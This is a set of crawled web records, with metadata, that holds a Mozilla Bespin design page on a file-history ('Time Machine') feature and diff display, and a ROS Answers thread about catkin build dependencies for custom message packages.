"WARC-Target-URI": "https://hypothes.is/search?q=tag%3Aevolve",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d180d15a-ddf5-44f3-9133-3170a9351325>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-67\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
23,
37,
306,
320,
391,
392
],
"line_end_idx": [
23,
37,
306,
320,
391,
392,
582
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 582,
"ccnet_original_nlines": 6,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41525423526763916,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04237287864089012,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22033898532390594,
"rps_doc_frac_unique_words": 0.7628865838050842,
"rps_doc_mean_word_length": 4.618556499481201,
"rps_doc_num_sentences": 8,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.206630229949951,
"rps_doc_word_count": 97,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0848214328289032,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02678571082651615,
"rps_doc_frac_chars_top_3gram": 0.0401785708963871,
"rps_doc_frac_chars_top_4gram": 0.058035708963871,
"rps_doc_books_importance": -48.634063720703125,
"rps_doc_books_importance_length_correction": -62.90861129760742,
"rps_doc_openwebtext_importance": -31.778696060180664,
"rps_doc_openwebtext_importance_length_correction": -46.053245544433594,
"rps_doc_wikipedia_importance": -24.139225006103516,
"rps_doc_wikipedia_importance_length_correction": -38.41377258300781
},
"fasttext": {
"dclm": 0.8886139988899231,
"english": 0.96117103099823,
"fineweb_edu_approx": 1.4569721221923828,
"eai_general_math": 0.05594969168305397,
"eai_open_web_math": 0.29777783155441284,
"eai_web_code": 0.0025332600343972445
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.019",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "305.42",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social sciences — Periodicals"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,464,754,146,218,049,500 |
Labs/Bespin/DesignDocs/TimeMachine
From MozillaWiki
< Labs | Bespin | DesignDocs
Jump to: navigation, search
Time Machine
Time Machine is designed to solve 2 basic problems in Bespin:
• Allow users to get the text back that someone else deleted
• Allow viewing the evolution of some text over time
API
It is currently expected that we will need to create a new API and enhance another.
Historical Revision Information
This new server API allows clients to get at a list of changes to a file over time.
The URL would probably match the /preview/at and /file/at style, so we would use /history/at/project/path
A call to this URL would return a 404 or similar error if the request could not be completed. On success the JSON data structure would look like this:
[
{
source: [vcs|save|undo],
id: "564129cea41d",
date: "Mon Aug 17 2009",
owner: "jwalker",
size: 0.4,
description: "Automated merge with ssh://hg.mozilla.org/labs/bespin/"
},
{ /* further revisions */ }
]
The members are as follows:
• source: 'vcs' indicates that the change comes from the VCS system registered with the project. There can be at most one VCS repo per project. The date, owner and description fields probably come from a call to 'vcs log' or similar.
• id: An arbitary unique ID for use with revisions to the '/file/at' call. Most (all?) VCSs give revision identifiers. Bespin will generate IDs for save|undo sources.
• date: We will need to specify a format for the time.
• owner: VCS specified username for VCS originated change. Bespin specified for other types of change. To begin with, we do not expect to link VCS usernames to bespin usernames. This linkage could be useful over time.
• size: The size field comes from something like 'diff $file | wc -l' / 'cat $file | wc -l' (clearly that won't work exactly, but the point is the same). From my investigations so far, it would seem that it's going to be a significant performance drain getting this to work. We're not planning on doing a churn graph right now
• description: Simple in the VCS case. For the 'save' source we might take the users status on save. For the 'undo' source we might take an editor provided description of the action e.g. 'typing', 'format source'.
Issues
• How do we handle VCS rename/copy operations? Is it valid to include changes made under an old filename and ignore the fact that the file may no longer be valid in its new position. (Answer: we lose the data when you move the file.)
• Can we tie bespin usernames to VCS usernames. Tying them together will helps colorization to be consistent. (Answer: we don't - for now, but should later)
• Can we create descriptions (e.g. 'typing', 'format source') out the back of mobwrite?
• Can we create descriptions for save commands?
• Is what comes out of mobwrite going to be too granular
• How are we going to store all this data?
• Can we create a useful size parameter? Is this going to be viable for SVN and other non-D VCSs? (Answer: We're not attempting this for any VCS for now)
• Is there any benefit in transmitting the diff with the rest of the history? We are currently assuming that there isn't because the files are easily accessible, and only a diff might be slow to make use of if you need to work from the start/end. Also diffs prevent us from interleaving sources.
• For none-D VCSs, what's the performance going to be like? Can we use git svn to mitigate the issues? (Answer: Probably not - for now, we're not supporting the VCS portion on SVN)
It is expected that initially for simplicities sake, we will not be interleaving source, so the diff queue would begin with undo, then save, then vcs info. The system ought to allow source interleaving though.
Access to older revisions
The current plan is to modify the '/file/at' URL to add a 'version' parameter, which specifies the version of the given file.
• /file/at/project/path?version=id
Issues
• Do we need to give access to deleted files. Is there an API for discovering what they are?
• We probably need to easily distinguish the source of a version id without needing to go to vcs / save history and mobwrite in turn.
• What is non-D VCS performance going to be like? (See above)
Data Storage
Currently undo data is stored in a mini repository - repoistory.py. The storage format is defined in the pydoc for that package. Briefly:
The features of this repository are:
• lightweight: ie easy to code in the first instance
• upgradable: so the disk format can evolve to be more efficient
• potentially performant: file reads could be O(n) on history length
It is not however:
• distributed
• non-linear. There is no DAG
The on disk format is a series of lines as follows
hex(time):owner:method:urlencode(comment):data
For example
4aa51a00:joewalker:int:example command:data
4aa61e8f:joewalker:int:another example:more data
Where:
• hex(time): an 8 character string (for the next few years) following the python way of using seconds since the epoch e.g. 4aa61e8f
• owner: is the bespin username of the change creator
• method: is one of [int|ext|delta|zint|zext] Currently the only supported value is 'int' however the following are planned
• int: The contents is stored in the data field (at the end of the line)
• ext: The contents are written to a file whose name is in the data field
• delta: The contents are the value of the previous record with the change in the delta field applied
• zint|zext: As int|ext except the contents are compresses with zlib
• comment: A comment (where possible) for the change
• data: As interpreted by the 'method' field
User Interface
See Dions's blog post for example UI: bespineditor_02_socialbar_090528b.png
Issues:
• Can we find a way to create the churn information without performance issues?
• Does the change/time scrubber only work when horizontal?
• Can we conserve vertical screen real-estate
• Can we have a fancy fish-eye visualization to save scrolling?
Presenting Diffs
There are several ways to display file differences:
Side By Side
Most IDEs use the side-by-side style to display file comparisons. This has the advantage that it is well tested and understood.
Eclipse showing side-by-side diffs
This style has the disadvantage that it is hungry on horizontal screen real estate, where the rest of the IDE is hungry on vertical real estate. This could force us to adopt a more flexible screen layout - It would probably mean that our side-bar display didn't fit well.
It also has the disadvantage that it's hard to find small changes. You can see the line that changed easily, but not how it changed.
Patch Format
Many programmers are familiar with patch format. We could graphically enhance this, for example:
Patch format, graphically enhanced
Developers would need to know what the red and green colors stood for. But that's not too much of a learning curve.
This has the disadvantage that it's not editable. I wonder how useful that feature is?
Interlinear
The Enhanced Diff Format is better at showing small changes, but a possibly better option is the interlinear style used in old Bibles.
Where lines are changed rather than being added or removed, rather than taking up 2 lines, the changed text is placed old above new.
I've also used a slightly different style for displaying added and removed lines. Clearly this isn't unique to the interlinear style, and could be applied to the Diff Format.
Interlinear Style
This option is excellent at showing small changes, and it's possible that this could be made editable, however this would be very tricky.
Font sizes could be tricky. Simply using half height fonts might not be readable. We could use variable line height/baseline shift rather than variable font size.
Word Processors
Word processors have been showing inline differences in an editable form for ages.
Word Processor Display
This style of display can frequently become messy and confused. This is largely because the word processor developers can't currently use diff to track changes (due to the complexity of tree based diff algorithms - For example remove a word and then type the same word back in again) We should be able to avoid this messiness.
|
{
"url": "https://wiki.mozilla.org/Labs/Bespin/DesignDocs/TimeMachine",
"source_domain": "wiki.mozilla.org",
"snapshot_id": "CC-MAIN-2024-33",
"warc_metadata": {
"Content-Length": "62095",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZH44THVHKSXZH2ZZVVRGKMDHJKSQKPZT",
"WARC-Concurrent-To": "<urn:uuid:13c30548-5de2-4acf-b72a-5c472374fb3f>",
"WARC-Date": "2024-08-11T12:16:09Z",
"WARC-IP-Address": "35.163.213.45",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GQUL2FUW736SILARDDPTMJ7FKGIJNU2E",
"WARC-Record-ID": "<urn:uuid:760b6efd-60f4-4d50-8264-30ab205eaf22>",
"WARC-Target-URI": "https://wiki.mozilla.org/Labs/Bespin/DesignDocs/TimeMachine",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7e8b4f9d-c33e-43d3-9c08-c90ebec01a94>"
},
"warc_info": "isPartOf: CC-MAIN-2024-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-15\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
35,
36,
53,
84,
112,
113,
126,
127,
189,
190,
253,
308,
309,
313,
314,
398,
399,
431,
432,
516,
517,
623,
624,
775,
776,
778,
782,
811,
835,
864,
886,
901,
975,
980,
1010,
1012,
1013,
1041,
1042,
1278,
1447,
1504,
1724,
2053,
2269,
2270,
2277,
2278,
2514,
2673,
2763,
2813,
2872,
2917,
3073,
3371,
3554,
3555,
3765,
3766,
3792,
3793,
3919,
3920,
3957,
3958,
3965,
3966,
4061,
4197,
4261,
4262,
4263,
4276,
4277,
4415,
4416,
4453,
4454,
4509,
4576,
4647,
4648,
4667,
4668,
4684,
4716,
4717,
4768,
4769,
4816,
4817,
4829,
4830,
4874,
4923,
4924,
4931,
4932,
5066,
5122,
5248,
5325,
5403,
5509,
5582,
5637,
5684,
5685,
5700,
5701,
5777,
5778,
5786,
5787,
5869,
5930,
5978,
6044,
6045,
6062,
6063,
6115,
6116,
6129,
6130,
6258,
6259,
6294,
6295,
6567,
6568,
6701,
6702,
6715,
6716,
6813,
6814,
6849,
6850,
6966,
6967,
7054,
7055,
7067,
7068,
7203,
7204,
7337,
7338,
7513,
7514,
7532,
7533,
7671,
7672,
7835,
7836,
7852,
7853,
7936,
7937,
7960,
7961
],
"line_end_idx": [
35,
36,
53,
84,
112,
113,
126,
127,
189,
190,
253,
308,
309,
313,
314,
398,
399,
431,
432,
516,
517,
623,
624,
775,
776,
778,
782,
811,
835,
864,
886,
901,
975,
980,
1010,
1012,
1013,
1041,
1042,
1278,
1447,
1504,
1724,
2053,
2269,
2270,
2277,
2278,
2514,
2673,
2763,
2813,
2872,
2917,
3073,
3371,
3554,
3555,
3765,
3766,
3792,
3793,
3919,
3920,
3957,
3958,
3965,
3966,
4061,
4197,
4261,
4262,
4263,
4276,
4277,
4415,
4416,
4453,
4454,
4509,
4576,
4647,
4648,
4667,
4668,
4684,
4716,
4717,
4768,
4769,
4816,
4817,
4829,
4830,
4874,
4923,
4924,
4931,
4932,
5066,
5122,
5248,
5325,
5403,
5509,
5582,
5637,
5684,
5685,
5700,
5701,
5777,
5778,
5786,
5787,
5869,
5930,
5978,
6044,
6045,
6062,
6063,
6115,
6116,
6129,
6130,
6258,
6259,
6294,
6295,
6567,
6568,
6701,
6702,
6715,
6716,
6813,
6814,
6849,
6850,
6966,
6967,
7054,
7055,
7067,
7068,
7203,
7204,
7337,
7338,
7513,
7514,
7532,
7533,
7671,
7672,
7835,
7836,
7852,
7853,
7936,
7937,
7960,
7961,
8287
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 8287,
"ccnet_original_nlines": 164,
"rps_doc_curly_bracket": 0.0004826800141017884,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3823028802871704,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.018718089908361435,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.20476460456848145,
"rps_doc_frac_unique_words": 0.3704245984554291,
"rps_doc_mean_word_length": 4.676427364349365,
"rps_doc_num_sentences": 82,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.499388217926025,
"rps_doc_word_count": 1366,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.022855350747704506,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006261739879846573,
"rps_doc_frac_chars_top_3gram": 0.006574830040335655,
"rps_doc_frac_chars_top_4gram": 0.005635569803416729,
"rps_doc_books_importance": -770.74560546875,
"rps_doc_books_importance_length_correction": -770.74560546875,
"rps_doc_openwebtext_importance": -403.7191162109375,
"rps_doc_openwebtext_importance_length_correction": -403.7191162109375,
"rps_doc_wikipedia_importance": -284.51861572265625,
"rps_doc_wikipedia_importance_length_correction": -284.51861572265625
},
"fasttext": {
"dclm": 0.10608094930648804,
"english": 0.9097297787666321,
"fineweb_edu_approx": 2.053419589996338,
"eai_general_math": 0.6011959314346313,
"eai_open_web_math": 0.36730217933654785,
"eai_web_code": 0.44959938526153564
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.455",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.72",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,608,133,722,683,617,000 |
ROS Resources: Documentation | Support | Discussion Forum | Index | Service Status | ros @ Robotics Stack Exchange
Ask Your Question
0
How to use custom defined messages in another package?
asked 2017-05-12 15:06:44 -0500
mayank gravatar image
updated 2017-05-13 12:49:12 -0500
I am new to ros and was writing code to publish and listen to a custom message. I am running ROS kinetic on Debian machine.
In my workspace I have two package - aa and bb. aa has a message two_ints as follows:
int16 a1
int16 b1
Both the packages use this message. When I catkin_make my workspace I get the following error in source of bb:
.../catkin_new/src/bb/src/src_bb.cpp:2:24: fatal error: aa/two_ints.h: No such file or directory
The CMakeLists.txt of aa is
cmake_minimum_required(VERSION 2.8.3)
project(aa)
find_package(catkin REQUIRED COMPONENTS
roscpp
std_msgs
message_generation
)
add_message_files(
FILES
two_ints.msg
)
generate_messages(
DEPENDENCIES
std_msgs
)
catkin_package(
INCLUDE_DIRS include
LIBRARIES aa
CATKIN_DEPENDS roscpp std_msgs message_runtime
)
include_directories(
${catkin_INCLUDE_DIRS}
)
add_executable(talker src/src_aa.cpp)
target_link_libraries(talker ${catkin_LIBRARIES})
add_dependencies(talker aa_generate_messages_cpp)
And CMakeLists.txt of bb is
cmake_minimum_required(VERSION 2.8.3)
project(bb)
find_package(catkin REQUIRED COMPONENTS
roscpp
std_msgs
)
catkin_package(
INCLUDE_DIRS include
LIBRARIES bb
CATKIN_DEPENDS roscpp std_msgs
)
include_directories(
${catkin_INCLUDE_DIRS}
)
add_executable(listener src/src_aa.cpp)
target_link_libraries(listener ${catkin_LIBRARIES})
add_dependencies(listener aa_generate_messages_cpp)
Directory structure is:
catkin_new
-build
-devel
-src
-CMakeLists.txt
-aa
-msg
-two_ints.msg
-include
-src
src_aa.cpp
-...
-bb
-CMakeLists.txt
-src
-src_bb.cpp
-...
Please help me out. I have tried various things but in vain. Also talker gets built even though it also includes aa/two_ints.h. Why so? And two_ints.h is present in devel/aa/ directory.
EDIT: The aa/package.xml is:
<?xml version="1.0"?>
<package>
<name>aa</name>
<version>0.0.0</version>
<description>The aa package</description>
<license>TODO</license>
<buildtool_depend>catkin</buildtool_depend>
<build_depend>roscpp</build_depend>
<build_depend>std_msgs</build_depend>
<build_depend>message_generation</build_depend>
<run_depend>roscpp</run_depend>
<run_depend>std_msgs</run_depend>
<run_depend>message_runtime</run_depend>
</package>
The `bb/CMakeLists.txt' is modified and is as follows:
cmake_minimum_required(VERSION 2.8.3)
project(bb)
find_package(catkin REQUIRED COMPONENTS
roscpp
std_msgs
aa #changed here
)
catkin_package(
INCLUDE_DIRS include
LIBRARIES bb
CATKIN_DEPENDS roscpp std_msgs aa #changed here
)
include_directories(
${catkin_INCLUDE_DIRS}
)
add_executable(listener src/src_aa.cpp)
target_link_libraries(listener ${catkin_LIBRARIES})
add_dependencies(listener aa_generate_messages_cpp)
The 'bb/package.xml' is:
<package>
<name>bb</name>
<version>0.0.0</version>
<description>The bb package</description>
<buildtool_depend>catkin</buildtool_depend>
<build_depend>roscpp</build_depend>
<build_depend>std_msgs</build_depend>
<build_depend>aa</build_depend>
<run_depend>roscpp</run_depend>
<run_depend>std_msgs</run_depend>
<run_depend>aa</run_depend>
</package>
Now when I catkin_make the catkin_new workspace I get following error:
CMake Error at /home/mayank/Workspace/catkin_new/devel/share/aa/cmake/aaConfig.cmake:141 (message):
Project 'bb' tried to find library 'aa'. The library is neither a target
nor built/installed properly. Did you compile project 'aa'? Did you
find_package() it before the subdirectory containing its code is included?
Call Stack (most recent call first):
/opt/ros/kinetic/share/catkin/cmake/catkinConfig.cmake:76 (find_package)
bb/CMakeLists.txt:10 (find_package)
Looks like bb is getting built before/in parallel with aa. What am I missing?
edit retag flag offensive close merge delete
1 Answer
Sort by » oldest newest most voted
3
answered 2017-05-12 15:36:33 -0500
Thomas D gravatar image
updated 2017-05-12 15:37:59 -0500
Does your bb/package.xml file exist? Do you depend on aa? In bb/CMakeLists.txt you do not have aa listed in find_package() or catkin_pkg/CATKIN_DEPENDS, which you will probably need.
edit flag offensive delete link more
Comments
I've converted this to an answer, as it is the answer.
@mayank: catkin/cmake doesn't know that there is a build-time dependency (and thus a required ordering when building) without the information that @Thomas D writes about. Add aa to the CATKIN_DEPENDS of bb at least.
gvdhoorn gravatar image gvdhoorn ( 2017-05-13 02:45:12 -0500 )edit
See the catkin howto documentation for more info on this.
gvdhoorn gravatar image gvdhoorn ( 2017-05-13 02:46:22 -0500 )edit
Yes, bb/package.xml exists and it contains 'aa' as build and run dependencies. Sorry forgot to include that in the question.
mayank gravatar image mayank ( 2017-05-13 03:05:23 -0500 )edit
Btw (from the CMakeLists.txt of bb):
add_executable(listener src/src_aa.cpp)
...
add_dependencies(listener aa_generate_messages_cpp)
I'm assuming this is copy-pasta?
gvdhoorn gravatar image gvdhoorn ( 2017-05-13 03:07:51 -0500 )edit
I added the project aa in both the places in bb/CMakeLists.txt but it says: Project 'bb' tried to find library 'aa'. The library is neither a target nor built/installed properly. Did you compile project 'aa'? Did you find_package() it before the subdirectory containing its code is included?
mayank gravatar image mayank ( 2017-05-13 03:12:05 -0500 )edit
Please edit your question and add (do not overwrite) the updated CMakeLists.txt and package.xml for both packages.
gvdhoorn gravatar image gvdhoorn ( 2017-05-13 03:14:37 -0500 )edit
Yes @gvdhoorn it is mostly copy-paste.In fact this is my second project in ROS just after beginner-tutorials.
mayank gravatar image mayank ( 2017-05-13 03:17:15 -0500 )edit
2
LIBRARIES aa
I see this in the CMakeLists.txt of both aa and bb, but you never actually create any libraries, only executables. Please remove that from your CMakeLists.txt.
gvdhoorn gravatar image gvdhoorn ( 2017-05-13 03:58:49 -0500 )edit
Question Tools
1 follower
Stats
Asked: 2017-05-12 15:06:44 -0500
Seen: 9,443 times
Last updated: May 13 '17
|
{
"url": "https://answers.ros.org/question/261641/how-to-use-custom-defined-messages-in-another-package/",
"source_domain": "answers.ros.org",
"snapshot_id": "CC-MAIN-2024-26",
"warc_metadata": {
"Content-Length": "75774",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HXP5KBAHQLMWWXY7D5H42HSSKTJO5S4E",
"WARC-Concurrent-To": "<urn:uuid:1b8bbd0e-5c7f-4078-b209-f70926b62eed>",
"WARC-Date": "2024-06-23T10:57:50Z",
"WARC-IP-Address": "140.211.15.248",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:GMRXQJYYRICAW7CSP4AIQX2FHUH6QDMZ",
"WARC-Record-ID": "<urn:uuid:31eb1f44-2d37-46b9-bde1-60e5ddbe658c>",
"WARC-Target-URI": "https://answers.ros.org/question/261641/how-to-use-custom-defined-messages-in-another-package/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8a06577b-f8f4-4fdc-8b8b-743c21eb8e52>"
},
"warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-207\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
1,
116,
134,
136,
137,
192,
193,
225,
226,
248,
249,
283,
284,
408,
409,
495,
496,
505,
514,
515,
626,
627,
724,
725,
753,
754,
792,
804,
844,
853,
864,
885,
887,
906,
915,
931,
933,
953,
969,
981,
983,
999,
1022,
1037,
1086,
1088,
1109,
1134,
1136,
1174,
1224,
1274,
1275,
1303,
1304,
1342,
1354,
1394,
1403,
1414,
1416,
1432,
1455,
1470,
1503,
1505,
1526,
1551,
1553,
1593,
1645,
1697,
1698,
1722,
1723,
1734,
1743,
1752,
1759,
1780,
1789,
1802,
1827,
1844,
1857,
1879,
1892,
1901,
1925,
1938,
1961,
1974,
1975,
2161,
2162,
2191,
2192,
2214,
2224,
2242,
2269,
2313,
2339,
2385,
2423,
2463,
2513,
2547,
2583,
2626,
2639,
2640,
2695,
2696,
2734,
2746,
2786,
2795,
2806,
2825,
2827,
2843,
2866,
2881,
2931,
2933,
2954,
2979,
2981,
3021,
3073,
3125,
3126,
3151,
3152,
3162,
3180,
3207,
3251,
3297,
3335,
3375,
3409,
3443,
3479,
3509,
3520,
3521,
3592,
3593,
3693,
3769,
3840,
3917,
3954,
4029,
4067,
4068,
4146,
4147,
4192,
4193,
4202,
4203,
4238,
4240,
4241,
4276,
4277,
4301,
4302,
4336,
4337,
4520,
4521,
4558,
4559,
4568,
4569,
4624,
4625,
4841,
4842,
4910,
4911,
4969,
4970,
5038,
5039,
5164,
5165,
5229,
5230,
5267,
5268,
5308,
5312,
5364,
5365,
5398,
5399,
5467,
5468,
5760,
5761,
5825,
5826,
5941,
5942,
6010,
6011,
6121,
6122,
6186,
6188,
6201,
6202,
6362,
6363,
6431,
6432,
6447,
6448,
6459,
6460,
6466,
6467,
6500,
6501,
6519,
6520
],
"line_end_idx": [
1,
116,
134,
136,
137,
192,
193,
225,
226,
248,
249,
283,
284,
408,
409,
495,
496,
505,
514,
515,
626,
627,
724,
725,
753,
754,
792,
804,
844,
853,
864,
885,
887,
906,
915,
931,
933,
953,
969,
981,
983,
999,
1022,
1037,
1086,
1088,
1109,
1134,
1136,
1174,
1224,
1274,
1275,
1303,
1304,
1342,
1354,
1394,
1403,
1414,
1416,
1432,
1455,
1470,
1503,
1505,
1526,
1551,
1553,
1593,
1645,
1697,
1698,
1722,
1723,
1734,
1743,
1752,
1759,
1780,
1789,
1802,
1827,
1844,
1857,
1879,
1892,
1901,
1925,
1938,
1961,
1974,
1975,
2161,
2162,
2191,
2192,
2214,
2224,
2242,
2269,
2313,
2339,
2385,
2423,
2463,
2513,
2547,
2583,
2626,
2639,
2640,
2695,
2696,
2734,
2746,
2786,
2795,
2806,
2825,
2827,
2843,
2866,
2881,
2931,
2933,
2954,
2979,
2981,
3021,
3073,
3125,
3126,
3151,
3152,
3162,
3180,
3207,
3251,
3297,
3335,
3375,
3409,
3443,
3479,
3509,
3520,
3521,
3592,
3593,
3693,
3769,
3840,
3917,
3954,
4029,
4067,
4068,
4146,
4147,
4192,
4193,
4202,
4203,
4238,
4240,
4241,
4276,
4277,
4301,
4302,
4336,
4337,
4520,
4521,
4558,
4559,
4568,
4569,
4624,
4625,
4841,
4842,
4910,
4911,
4969,
4970,
5038,
5039,
5164,
5165,
5229,
5230,
5267,
5268,
5308,
5312,
5364,
5365,
5398,
5399,
5467,
5468,
5760,
5761,
5825,
5826,
5941,
5942,
6010,
6011,
6121,
6122,
6186,
6188,
6201,
6202,
6362,
6363,
6431,
6432,
6447,
6448,
6459,
6460,
6466,
6467,
6500,
6501,
6519,
6520,
6544
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6544,
"ccnet_original_nlines": 231,
"rps_doc_curly_bracket": 0.001833740039728582,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.15751445293426514,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.031069360673427582,
"rps_doc_frac_lines_end_with_ellipsis": 0.012931030243635178,
"rps_doc_frac_no_alph_words": 0.41763004660606384,
"rps_doc_frac_unique_words": 0.43611112236976624,
"rps_doc_mean_word_length": 6.761111259460449,
"rps_doc_num_sentences": 84,
"rps_doc_symbol_to_word_ratio": 0.004335260018706322,
"rps_doc_unigram_entropy": 5.327934741973877,
"rps_doc_word_count": 720,
"rps_doc_frac_chars_dupe_10grams": 0.06943303346633911,
"rps_doc_frac_chars_dupe_5grams": 0.27917009592056274,
"rps_doc_frac_chars_dupe_6grams": 0.1959737092256546,
"rps_doc_frac_chars_dupe_7grams": 0.1959737092256546,
"rps_doc_frac_chars_dupe_8grams": 0.1959737092256546,
"rps_doc_frac_chars_dupe_9grams": 0.06943303346633911,
"rps_doc_frac_chars_top_2gram": 0.02670500986278057,
"rps_doc_frac_chars_top_3gram": 0.021569430828094482,
"rps_doc_frac_chars_top_4gram": 0.029786359518766403,
"rps_doc_books_importance": -583.6690063476562,
"rps_doc_books_importance_length_correction": -583.6690063476562,
"rps_doc_openwebtext_importance": -292.4206848144531,
"rps_doc_openwebtext_importance_length_correction": -292.4206848144531,
"rps_doc_wikipedia_importance": -199.88296508789062,
"rps_doc_wikipedia_importance_length_correction": -199.88296508789062
},
"fasttext": {
"dclm": 0.03717749938368797,
"english": 0.677376389503479,
"fineweb_edu_approx": 1.6784015893936157,
"eai_general_math": 0.18092674016952515,
